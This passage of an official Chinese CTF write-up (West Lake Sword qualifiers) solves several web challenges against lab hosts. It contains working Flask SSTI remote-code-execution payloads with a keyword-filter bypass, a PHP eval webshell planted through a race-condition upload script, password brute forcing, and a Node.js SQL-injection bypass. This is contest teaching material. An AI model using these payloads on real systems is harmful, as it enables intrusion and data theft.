84, 111, 203, 110, 584, 436, 575, 155, 192, 518, 597, 335, 454, 450, 37, 583, 158, 664, 399, 165, 307, 76, 537, 114, 624, 170, 206, 687, 169, 385, 483, 703, 681, 426, 730, 120, 456, 621, 36, 272, 717, 357, 718, 22, 54, 255, 497, 274, 59, 536, 320, 726, 389, 514, 339, 460, 108, 534, 660, 69, 190, 626, 379, 140, 181, 131, 240, 288, 448, 77, 24, 39, 113, 187, 322, 216, 734, 42, 104, 153, 278, 433, 353, 373, 636, 502, 423, 374, 317, 87, 567, 485, 72, 540, 415, 443, 1, 605, 201, 407, 427, 390, 210, 179, 314, 188, 425, 156, 486, 746, 244, 476, 219, 710, 211, 488, 499, 149, 202, 523, 2, 696, 414, 442, 184, 737, 432, 196, 338, 565, 520, 711, 595, 398, 359, 364, 102, 406, 45, 65, 685, 73, 509, 637, 365, 313, 235, 296, 721, 134, 569, 128, 416, 760, 126, 98, 263, 51, 599, 452, 693, 348, 508, 241, 34, 362, 145, 538, 180, 659, 458, 47, 676, 352, 218, 282, 566, 79, 309, 639, 386, 127, 12, 27, 609, 603, 663, 163, 691, 233, 294, 586, 207, 581, 139, 741, 589, 494, 512, 159, 612, 402, 682, 441, 577, 739, 310, 10, 531, 591, 464, 674, 116, 665, 75, 608, 157, 267, 743, 412, 269, 298, 675, 729, 105, 265, 720, 371, 579, 545, 70, 9, 553, 576, 121, 377, 32, 631, 504, 52, 705, 154, 606, 604, 408, 753, 594, 224, 252, 279, 434, 745, 582, 440, 150, 258, 351, 614, 647, 33, 646, 94, 561, 611, 62, 765, 198, 618, 633, 273, 400, 58, 302, 735, 457, 455, 290, 319, 451, 85, 204, 31, 308, 413, 89, 744, 11, 613, 698, 166, 229, 23, 350, 742, 640, 330, 336, 546, 122, 395, 652, 541, 634, 667, 372, 119, 311, 475, 758, 238, 447, 151, 532, 714, 304, 552, 418, 405, 106, 93, 600, 625, 18, 465, 276, 680, 409, 321, 446, 289, 195, 630, 213, 403, 53, 615, 40, 363, 716, 91, 381, 587, 135, 617, 461, 176, 271, 521, 547, 60, 543, 554, 327, 588, 559, 66, 160, 556, 328, 764, 601, 92, 16, 334, 236, 668, 738, 186, 684, 346, 141, 610, 205, 515, 130, 500, 467, 762, 428, 303, 239, 177, 748, 511, 525, 88, 453, 266, 572, 752, 391, 542, 248, 246, 138, 473, 48, 524, 281, 212, 522, 481, 323, 496, 420, 574, 437, 232, 99, 28, 469, 387, 722, 143, 767, 148, 280, 285, 90, 344, 234, 8, 227, 270, 291, 513, 312, 657, 61, 260, 607, 751, 301, 152, 275, 480, 214, 259, 243, 326, 573, 375, 226, 704, 563, 81, 199, 7, 250, 366, 225, 725, 146, 487, 251, 396, 699, 590, 686, 305, 342, 578, 333, 706, 528, 237, 656, 197, 380, 100, 3, 439, 174, 489, 249, 300, 343, 345, 549, 293, 220, 506, 474, 261, 299, 173, 478, 394, 759, 620, 484, 404, 562, 96, 369, 555, 194, 708, 438, 26, 702, 642, 658, 672, 519, 50, 125, 43, 331, 470, 719, 44, 551, 673, 182, 370, 421, 355, 570, 132, 354, 231, 495, 262, 648, 172, 629, 168, 6, 564, 136, 30, 382, 171, 653, 761, 755, 162, 315, 732, 325, 189, 669, 253, 596, 697, 67, 306, 144, 503, 29, 178, 677, 103, 707, 548, 701, 112, 191, 530, 242, 756, 479, 616, 632, 430, 539, 527, 221, 15, 329, 175, 445, 623, 14, 560, 247, 97, 544, 284, 133, 228, 68, 757, 71, 712, 95, 557, 715, 384, 0};
unsigned int dwBitNum = len * 8;
BitDecode(cipher, box, dwBitNum);
return 0;
}
int main()
{
unsigned char flag[] = {
0x0C,0x61,0x48,0x3A,0x01,0x44,0xD2,0x8D,0xCA,0x0B,0xB8,0x02,0xB1,0xC5,0x88,0x64,
0x67,0x69,0x26,0x69,0x11,0xC7,0x47,0x1F,0xDC,0xB7,0x0E,0x1A,0x50,0xC3,0x57,0x0D,
0x75,0xAF,0x01,0x58,0x14,0xA2,0x0A,0xFF,0xC8,0x8C,0x05,0xD9,0x40,0xF6,0xA3,0x16,
0x21,0x5B,0x3D,0xFF,0x59,0xC2,0xFB,0x54,0x83,0x81,0xB4,0x8E,0x6A,0x50,0x1C,0x08,
0xA5,0xB8,0xE4,0x4D,0x41,0xA3,0x12,0x00,0xF0,0xC8,0x0A,0x96,0xAA,0x79,0x48,0xF1,
0x5B,0x24,0xD0,0x9D,0x75,0xB7,0xA8,0xDA,0x86,0x44,0x37,0x0B,0xB0,0x44,0x24,0x4C,0x00};
unsigned int flag_length = 96;
BitDanceDecode(flag, flag_length);
printf("%sn", flag);
}
```
-
解题步骤
1、访问环境:http://ip:5005/, 是一个登录功能:
- 任意输入用户名、密码提交数据,走完流程,发现存在弹窗告警。
2、使用Burp Suite工具,抓取传输包,基于响应头部显示的内容分析,当前环境为Python语言的网站:
3、当前题目考点为python ssti模板注入,漏洞判断:
- 用户名位置输入:{{123+456}}
- 密码位置:随意输入
- 可以发现,返回了计算了123+456的结果,证明用户名位置会将用户输入的信息当作表达式进行执行。
4、使用常规Payload进行漏洞利用:
```shell
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
该payload将执行系统命令,ls
```
- 用户名位置输入上述代码,密码位置随意输入
可以发现,当用户名输入ssti-payload并填充密码提交后,并没有任何弹窗,而是直接跳转到了首页,如上1、2、3步骤。
5、开启Burp Suite,使用BP被动监听状态,走完上述第四点中的步骤,在Burp suite的 `代理-HTTP历史记录`中,找到刚才步骤中提交的数据内容:
- 虽然提交后并没有弹窗显示信息,但从密码提交的响应包中,可以看到命令执行的结果:
6、修改payload,继续按照步骤5的思路进行操作,使用Burp suite被动监听:
- payload
````shell
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}
该payload将执行系统命令,ls /
````
- 按照步骤5的思路,提交请求后,查看BP的HTTP历史记录:
- 可以发现`ls /`命令并没有成功执行,猜测存在过滤。
7、修改payload,尝试读取当前目录下的`app.py`文件的内容:
```shell
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
```
- 可以发现,在cpass的响应包中,成功看到目标文件的内容:
- 将响应内容进行HTML解码后,内容如下:
```shell
from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote
app = Flask(__name__)
phone = ''
def is_safe_input(user_input):
# unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
if any(keyword in user_input for keyword in unsafe_keywords):
# if user_input in unsafe_keywords:
return True
return False
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
global phone
phone = request.form.get("phone_number")
return render_template("login.html")
@app.route("/cpass", methods=["POST"])
def check():
global phone
password = request.form.get("password")
if is_safe_input(phone):
return redirect(url_for('index'))
if phone != "1686682318" and password != "Happy_news_admin":
return render_template_string('<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>login failed</title>
</head>
<body>
<script>alert("{}The number does not exist or the password is incorrect!") </script>
<script>window.location.href = "/";</script>
</body>
</html>'.format(phone))
else:
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int("5005"), debug=True)
The number does not exist or the password is incorrect!")
```
- 可以发现,代码中存在过滤:
```shell
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
```
8、调整payload内容
```shell
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;ls').read()") }}{% endif %}{% endfor %}
该payload将执行系统命令等价于:ls /
```
9、以命令执行漏洞绕过的方式,读取flag文件内容:
```shell
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;t''ac fl''agf149').read()") }}{% endif %}{% endfor %}
该payload将执行系统命令等价于:tac /flagf149
```
- flag内容:DASCTF{49a20d7e03408ee0cf9c755db0dfd489}
10、脚本一键获得flag:
```shell
脚本执行命令:
python exp.py ip port
eg:
python exp.py 192.168.18.32 5005
```
- 启动/结果:
-
解题步骤
1、访问环境,是一个后台登录界面,登录功能需要输入用户名、密码及验证码:
- 这里验证码位置,存在重放攻击的问题
2、BP抓取登录的HTTP请求包,将请求包发到Repeater模块下:
- <font color='red'>**注意:这个操作过程中,代理、拦截位置抓取的包不能放行,不然会导致验证码失效**</font>
3、基于上述的请求包,在Repeater模块中多次发送,查看响应:
- 重复发送第二步骤抓取的请求包,可以发现在Repeater的响应包中,仅提示`用户名或密码错误`,并未提示验证码错误。
4、直接基于当前的请求包,发送至Intruder进行爆破:
- **用户名:admin**
- **密码字典:BP自带密码(正确密码为:year2000)**
5、基于上述配置,发起请求,爆破后,对响应结果进行排序分析:
- 这里由于是使用Cookie形式的认证,爆破过程中并没有进行Cookie的同步变化获取,当正确密码输入后,将会对这个Cookie赋予登录后台的权限,所以就会导致获取正确密码后、即便BP爆破过程中输入错误密码也会出现302代码。
- 若想要确定正确密码是什么,将BP爆破线程数设定为1,不要开启多线程,爆破结束后查看响应结果,第一个获得302的密码即为正确密码。
6、进入后台,明显是一个文件上传功能。
- 由于环境为PHP环境,所以直接上传1个PHP一句话木马及一张正常图片做测试
- 访问上传的文件,发现php文件不存在,但jpg文件可以成功访问:
```shell
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/e63ea739dcfe620a6da2d5743fca7aef.jpg
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/a9eb430817ca0ca62b44895f5235c0a2.php
```
- 考点:
```shell
php文件允许上传,且判断方式为,先保存再判断文件是否符合要求,不符合要求再删除该文件:
--绕过方式:条件竞争
--前提条件:需要明确文件夹及文件名的保存方式
```
7、获取文件夹及保存文件的命名方式:
- 访问地址(目录浏览):http://ip/admin/Uploads/
- 进一步访问文件夹内的内容:
```shell
该文件夹是留给选手的提示,也属于信息泄露问题:
文件夹:
1、127.0.0.1:意为文件夹明文形式为ip地址形式
2、用户自己上传的文件保存文件夹位置为32位小写数据,隐性提示文件夹命名格式:md5(ip)
上传文件名:
1、127.0.0.11733883325:组成形式可以分为两部分
-127.0.0.1:ip
-1733883325:十位字符取整数部分的时间戳
2、用户自己上传的文件保存的文件名为32位小写数据,隐性提示文件夹命名格式:md5(ip+时间戳)
```
8、按照第七步分析结果,使用Python编写访问脚本:
```python
import requests
import hashlib
import time
# 设置目标网页的URL。需要修改IP地址与上传文件保存位置的文件夹名
url = 'http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/'
# ip
prefix_string = '192.168.16.43' # 这个ip为选手访问靶机的出口ip
# 使用一个while循环来保持请求,直到返回200响应
while True:
# 使用生成的MD5值作为文件名
def md5_encrypt(string):
md5_obj = hashlib.md5()
md5_obj.update(string.encode('utf-8'))
md5_hash = md5_obj.hexdigest()
return md5_hash
# 获取当前时间戳并提取证书部分(只保留时间,去掉日期部分)
timestamp = time.time()
timestamp = int(timestamp)
# 拼接指定字符串和时间戳
raw_string = prefix_string + str(timestamp)
# 对拼接后的字符串进行MD5加密
md5_filename = md5_encrypt(raw_string)
# 发起GET请求
response = requests.get(url+md5_filename+'.php')
# 检查响应的状态码
if response.status_code == 200:
print(f'请求成功,访问的URL为: {response.url}')
break # 停止请求
elif response.status_code == 404:
print(f'{response.url}: 页面未找到 (404),继续请求...')
else:
print(f'{response.url}: 请求失败,状态码: {response.status_code}')
break # 如果状态码不是404或200,终止请求
```
9、BP抓取PHP文件上传的数据包:
- PHP文件内容:
```php
'2.php','w'),'<?php @eval($_REQUEST[a]);?>'); fputs(fopen(
```
- 抓取后发送至Intruder,设置为没有负载无期限发送,并点击发起攻击:
- BP重复发包的同时,启动Python脚本:注意相关参数需要设置正确
```shell
> python b.py
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/331022e16a02f7645887db74512e28ca.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/5eaf0e35d73fc709bbbd52d30f9eddee.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/5eaf0e35d73fc709bbbd52d30f9eddee.php: 页面未找到 (404),继续请求...
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/5eaf0e35d73fc709bbbd52d30f9eddee.php: 页面未找到 (404),继续请求...
请求成功,访问的URL为: http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/5eaf0e35d73fc709bbbd52d30f9eddee.php
```
10、木马写入成功,基于代码方式,访问目标为:
```shell
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/2.php
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/2.php?a=phpinfo();
```
- 查看phpinfo,disable_function存在限制。
11、读取flag:
```shell
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/2.php?a=print_r(scandir('/'));
http://192.168.18.32/admin/Uploads/5f5e82a45dfaabb7df5a1fe28632d10d/2.php?a=print_r(file_get_contents('/flag'));
```
- flag:DASCTF{cce57e446027c3cb021bdc5d0e90a936}
12、脚本一键使用:
- 使用exp前,需要获取到一个已经登录后台的cookie
```shell
启动命令格式:
python exp.py -rip 目标靶机IP -p 靶机服务端口 -lip 本地出口ip -cookie 已取得后台访问权限的cookie
eg:
python exp.py -rip 192.168.18.32 -p 80 -lip 192.168.16.43 -cookie PHPSESSID=qi6nkhcmals15ljqbm3qaup8sp
```
- 启动:
- 执行结果:
-
解题步骤
下载nodejs源码,可以看到如果登录成功可以直接返回flag,不过存在一些过滤需要绕过。
考察nodejs的数组特定绕过
```
传入a=123&a=456&a=789
最终接收到的是
a=[123,456,789]
a={"name":"admin"&a="pass":"123456"}
最终接收到的是
[ ]
经过JSON.parse()则可以解析json
得到{"name":"admin","pass":"123456"}
```
这样就不需要使用逗号了,后面需要我们传入的内容不能带单引号、双引号、反斜杠。
不过后面还需要进行sql注入,所以需要靠一些其他方法,可以看到字符串采用了replace函数。
当repalce匹配的内容存在
```
$`
```
时会匹配字符前面的文本,例如
```
var a ="abcd";
a = a.replace("c","$`");
```
得到的内容为`ababd`
所以可用下述payload构造出`'`绕过过滤
```
?username=$` ||1%23&password=123
```
相当于执行的sql语句为
```
select * from userinfo where username = 'select * from userinfo where username = ' ||1#' and password = '123456'
```
成功实现了万能密码
再结合之前的传参方式,最终的payload
```
?info={"username":"$` ||1%23"&info="password":"123456"}
```
往期精选
原文始发于微信公众号(恒星EDU):第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论